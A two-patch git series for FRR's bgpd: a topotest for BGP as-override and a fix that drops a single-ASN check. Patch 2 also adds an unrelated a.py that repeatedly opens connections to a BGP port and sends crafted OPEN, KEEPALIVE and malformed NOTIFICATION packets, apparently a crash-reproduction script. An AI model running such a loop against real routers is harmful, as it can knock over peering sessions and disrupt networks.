From ada423318a55fd7b2ea022603b14c5154ac954d5 Mon Sep 17 00:00:00 2001 From: Donatas Abraitis Date: Wed, 27 Jul 2022 13:33:11 +0300 Subject: [PATCH 1/2] tests: Check if BGP as-override works correctly Signed-off-by: Donatas Abraitis --- tests/topotests/bgp_as_override/__init__.py | 0 tests/topotests/bgp_as_override/r1/bgpd.conf | 10 ++ tests/topotests/bgp_as_override/r1/zebra.conf | 9 ++ tests/topotests/bgp_as_override/r2/bgpd.conf | 10 ++ tests/topotests/bgp_as_override/r2/zebra.conf | 9 ++ tests/topotests/bgp_as_override/r3/bgpd.conf | 13 ++ tests/topotests/bgp_as_override/r3/zebra.conf | 9 ++ tests/topotests/bgp_as_override/r4/bgpd.conf | 7 + tests/topotests/bgp_as_override/r4/zebra.conf | 6 + .../bgp_as_override/test_bgp_as_override.py | 122 ++++++++++++++++++ 10 files changed, 195 insertions(+) create mode 100644 tests/topotests/bgp_as_override/__init__.py create mode 100644 tests/topotests/bgp_as_override/r1/bgpd.conf create mode 100644 tests/topotests/bgp_as_override/r1/zebra.conf create mode 100644 tests/topotests/bgp_as_override/r2/bgpd.conf create mode 100644 tests/topotests/bgp_as_override/r2/zebra.conf create mode 100644 tests/topotests/bgp_as_override/r3/bgpd.conf create mode 100644 tests/topotests/bgp_as_override/r3/zebra.conf create mode 100644 tests/topotests/bgp_as_override/r4/bgpd.conf create mode 100644 tests/topotests/bgp_as_override/r4/zebra.conf create mode 100644 tests/topotests/bgp_as_override/test_bgp_as_override.py diff --git a/tests/topotests/bgp_as_override/__init__.py b/tests/topotests/bgp_as_override/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tests/topotests/bgp_as_override/r1/bgpd.conf b/tests/topotests/bgp_as_override/r1/bgpd.conf new file mode 100644 index 0000000000..3cfb7a2c90 --- /dev/null +++ b/tests/topotests/bgp_as_override/r1/bgpd.conf @@ -0,0 +1,10 @@ +! +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 192.168.1.1 remote-as external + neighbor 192.168.1.1 timers 1 3 + neighbor 192.168.1.1 timers connect 1 + address-family ipv4 + redistribute connected + exit-address-family +! diff --git a/tests/topotests/bgp_as_override/r1/zebra.conf b/tests/topotests/bgp_as_override/r1/zebra.conf new file mode 100644 index 0000000000..63728eb5d5 --- /dev/null +++ b/tests/topotests/bgp_as_override/r1/zebra.conf @@ -0,0 +1,9 @@ +! +interface lo + ip address 172.16.255.1/32 +! +interface r1-eth0 + ip address 192.168.1.2/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r2/bgpd.conf b/tests/topotests/bgp_as_override/r2/bgpd.conf new file mode 100644 index 0000000000..5e3b0c7f87 --- /dev/null +++ b/tests/topotests/bgp_as_override/r2/bgpd.conf @@ -0,0 +1,10 @@ +! +router bgp 65002 + no bgp ebgp-requires-policy + neighbor 192.168.1.2 remote-as external + neighbor 192.168.1.2 timers 1 3 + neighbor 192.168.1.2 timers connect 1 + neighbor 192.168.2.2 remote-as external + neighbor 192.168.2.2 timers 1 3 + neighbor 192.168.2.2 timers connect 1 +! diff --git a/tests/topotests/bgp_as_override/r2/zebra.conf b/tests/topotests/bgp_as_override/r2/zebra.conf new file mode 100644 index 0000000000..5bdfd02224 --- /dev/null +++ b/tests/topotests/bgp_as_override/r2/zebra.conf @@ -0,0 +1,9 @@ +! +interface r2-eth0 + ip address 192.168.1.1/30 +! +interface r2-eth1 + ip address 192.168.2.1/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r3/bgpd.conf b/tests/topotests/bgp_as_override/r3/bgpd.conf new file mode 100644 index 0000000000..6bbe56b678 --- /dev/null +++ b/tests/topotests/bgp_as_override/r3/bgpd.conf @@ -0,0 +1,13 @@ +! +router bgp 65003 + no bgp ebgp-requires-policy + neighbor 192.168.2.1 remote-as external + neighbor 192.168.2.1 timers 1 3 + neighbor 192.168.2.1 timers connect 1 + neighbor 192.168.3.1 remote-as external + neighbor 192.168.3.1 timers 1 3 + neighbor 192.168.3.1 timers connect 1 + address-family ipv4 unicast + neighbor 192.168.3.1 as-override + exit-address-family +! diff --git a/tests/topotests/bgp_as_override/r3/zebra.conf b/tests/topotests/bgp_as_override/r3/zebra.conf new file mode 100644 index 0000000000..77782be3a8 --- /dev/null +++ b/tests/topotests/bgp_as_override/r3/zebra.conf @@ -0,0 +1,9 @@ +! +interface r3-eth0 + ip address 192.168.2.2/30 +! +interface r3-eth1 + ip address 192.168.3.2/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/r4/bgpd.conf b/tests/topotests/bgp_as_override/r4/bgpd.conf new file mode 100644 index 0000000000..1bdee0800a --- /dev/null +++ b/tests/topotests/bgp_as_override/r4/bgpd.conf @@ -0,0 +1,7 @@ +! +router bgp 65001 + no bgp ebgp-requires-policy + neighbor 192.168.3.2 remote-as external + neighbor 192.168.3.2 timers 1 3 + neighbor 192.168.3.2 timers connect 1 +! diff --git a/tests/topotests/bgp_as_override/r4/zebra.conf b/tests/topotests/bgp_as_override/r4/zebra.conf new file mode 100644 index 0000000000..71dc595558 --- /dev/null +++ b/tests/topotests/bgp_as_override/r4/zebra.conf @@ -0,0 +1,6 @@ +! +interface r4-eth0 + ip address 192.168.3.1/30 +! +ip forwarding +! diff --git a/tests/topotests/bgp_as_override/test_bgp_as_override.py b/tests/topotests/bgp_as_override/test_bgp_as_override.py new file mode 100644 index 0000000000..40085cd7ec --- /dev/null +++ b/tests/topotests/bgp_as_override/test_bgp_as_override.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python + +# +# Copyright (c) 2022 by +# Donatas Abraitis +# +# Permission to use, copy, modify, and/or distribute this software +# for any purpose with or without fee is hereby granted, provided +# that the above copyright notice and this permission notice appear +# in all copies. +# +# THE SOFTWARE IS PROVIDED "AS IS" AND NETDEF DISCLAIMS ALL WARRANTIES +# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NETDEF BE LIABLE FOR +# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY +# DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, +# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS +# ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE +# OF THIS SOFTWARE. +# + +""" +""" + +import os +import sys +import json +import pytest +import functools + +CWD = os.path.dirname(os.path.realpath(__file__)) +sys.path.append(os.path.join(CWD, "../")) + +# pylint: disable=C0413 +from lib import topotest +from lib.topogen import Topogen, TopoRouter, get_topogen +from lib.common_config import step + +pytestmark = [pytest.mark.bgpd] + + +def build_topo(tgen): + for routern in range(1, 7): + tgen.add_router("r{}".format(routern)) + + switch = tgen.add_switch("s1") + switch.add_link(tgen.gears["r1"]) + switch.add_link(tgen.gears["r2"]) + + switch = tgen.add_switch("s2") + switch.add_link(tgen.gears["r2"]) + switch.add_link(tgen.gears["r3"]) + + switch = tgen.add_switch("s3") + switch.add_link(tgen.gears["r3"]) + switch.add_link(tgen.gears["r4"]) + + +def setup_module(mod): + tgen = Topogen(build_topo, mod.__name__) + tgen.start_topology() + + router_list = tgen.routers() + + for i, (rname, router) in enumerate(router_list.items(), 1): + router.load_config( + TopoRouter.RD_ZEBRA, os.path.join(CWD, "{}/zebra.conf".format(rname)) + ) + router.load_config( + TopoRouter.RD_BGP, os.path.join(CWD, "{}/bgpd.conf".format(rname)) + ) + + tgen.start_router() + + +def teardown_module(mod): + tgen = get_topogen() + tgen.stop_topology() + + +def test_bgp_as_override(): + tgen = get_topogen() + + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + r3 = tgen.gears["r3"] + r4 = tgen.gears["r4"] + + def _bgp_converge(): + output = json.loads(r3.vtysh_cmd("show ip bgp neighbor 192.168.2.1 json")) + expected = { + "192.168.2.1": { + "bgpState": "Established", + "addressFamilyInfo": {"ipv4Unicast": {"acceptedPrefixCounter": 2}}, + } + } + return topotest.json_cmp(output, expected) + + def _bgp_as_override(): + output = json.loads(r4.vtysh_cmd("show bgp ipv4 unicast json")) + expected = { + "routes": { + "172.16.255.1/32": [{"valid": True, "path": "65003 65002 65003"}] + } + } + return topotest.json_cmp(output, expected) + + step("Initial BGP converge") + test_func = functools.partial(_bgp_converge) + _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5) + assert result is None, "Failed to see BGP convergence on R4" + + step("Check if BGP as-override from R3 works") + test_func = functools.partial(_bgp_as_override) + _, result = topotest.run_and_expect(test_func, None, count=60, wait=0.5) + assert result is None, "Failed to see overriden ASN (65001) from R3" + + +if __name__ == "__main__": + args = ["-s"] + sys.argv[1:] + sys.exit(pytest.main(args)) From 9bbdb4572d3bb255211fecf1c756452ab27e91c2 Mon Sep 17 00:00:00 2001 From: Donatas Abraitis Date: Wed, 27 Jul 2022 13:33:48 +0300 Subject: [PATCH 2/2] bgpd: Do not check if the whole as-path has target ASN when using as-override as-override didn't work if the entire as-path is not a single ASN (as a target). Signed-off-by: Donatas Abraitis --- a.py | 22 ++++++++++++++++++++++ bgpd/bgp_aspath.c | 22 ---------------------- bgpd/bgp_aspath.h | 1 - bgpd/bgp_route.c | 10 ++++------ 4 files changed, 26 insertions(+), 29 deletions(-) create mode 100644 a.py diff --git a/a.py b/a.py new file mode 100644 index 0000000000..5b0fb679ff --- /dev/null +++ b/a.py @@ -0,0 +1,22 @@ +import socket +from time import sleep + +bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00' +bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' +bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv' + +while True: + try: + print("[+] Creating socket...") + s = socket.socket(type=socket.SOCK_STREAM) + print("[+] Connecting to server...") + s.connect(('172.17.0.3', 179)) + s.send(bgp_open) + sleep(0.0009999999) + s.send(bgp_keepalive) + s.send(bgp_notification) + except KeyboardInterrupt: + s.close() + break + except: + s.close() diff --git a/bgpd/bgp_aspath.c b/bgpd/bgp_aspath.c index 39886337f3..06f6073781 100644 --- a/bgpd/bgp_aspath.c +++ b/bgpd/bgp_aspath.c @@ -1209,28 +1209,6 @@ bool aspath_private_as_check(struct aspath *aspath) return true; } -/* Return True if the entire ASPATH consist of the specified ASN */ -bool aspath_single_asn_check(struct aspath *aspath, as_t asn) -{ - struct assegment *seg; - - if (!(aspath && aspath->segments)) - return false; - - seg = aspath->segments; - - while (seg) { - int i; - - for (i = 0; i < seg->length; i++) { - if (seg->as[i] != asn) - return false; - } - seg = seg->next; - } - return true; -} - /* Replace all instances of the target ASN with our own ASN */ struct aspath *aspath_replace_specific_asn(struct aspath *aspath, as_t target_asn, as_t our_asn) diff --git a/bgpd/bgp_aspath.h b/bgpd/bgp_aspath.h index 5caab73c4d..0b58e1adc4 100644 --- a/bgpd/bgp_aspath.h +++ b/bgpd/bgp_aspath.h @@ -112,7 +112,6 @@ extern unsigned int aspath_get_first_as(struct aspath *aspath); extern unsigned int aspath_get_last_as(struct aspath *aspath); extern int aspath_loop_check(struct aspath *aspath, as_t asno); extern bool aspath_private_as_check(struct aspath *aspath); -extern bool aspath_single_asn_check(struct aspath *aspath, as_t asn); extern struct aspath *aspath_replace_specific_asn(struct aspath *aspath, as_t target_asn, as_t our_asn); diff --git a/bgpd/bgp_route.c b/bgpd/bgp_route.c index 26341a5ce3..2fd747a113 100644 --- a/bgpd/bgp_route.c +++ b/bgpd/bgp_route.c @@ -1773,12 +1773,10 @@ static void bgp_peer_remove_private_as(struct bgp *bgp, afi_t afi, safi_t safi, static void bgp_peer_as_override(struct bgp *bgp, afi_t afi, safi_t safi, struct peer *peer, struct attr *attr) { - if (peer->sort == BGP_PEER_EBGP - && peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE)) { - if (aspath_single_asn_check(attr->aspath, peer->as)) - attr->aspath = aspath_replace_specific_asn( - attr->aspath, peer->as, bgp->as); - } + if (peer->sort == BGP_PEER_EBGP && + peer_af_flag_check(peer, afi, safi, PEER_FLAG_AS_OVERRIDE)) + attr->aspath = aspath_replace_specific_asn(attr->aspath, + peer->as, bgp->as); } void bgp_attr_add_llgr_community(struct attr *attr)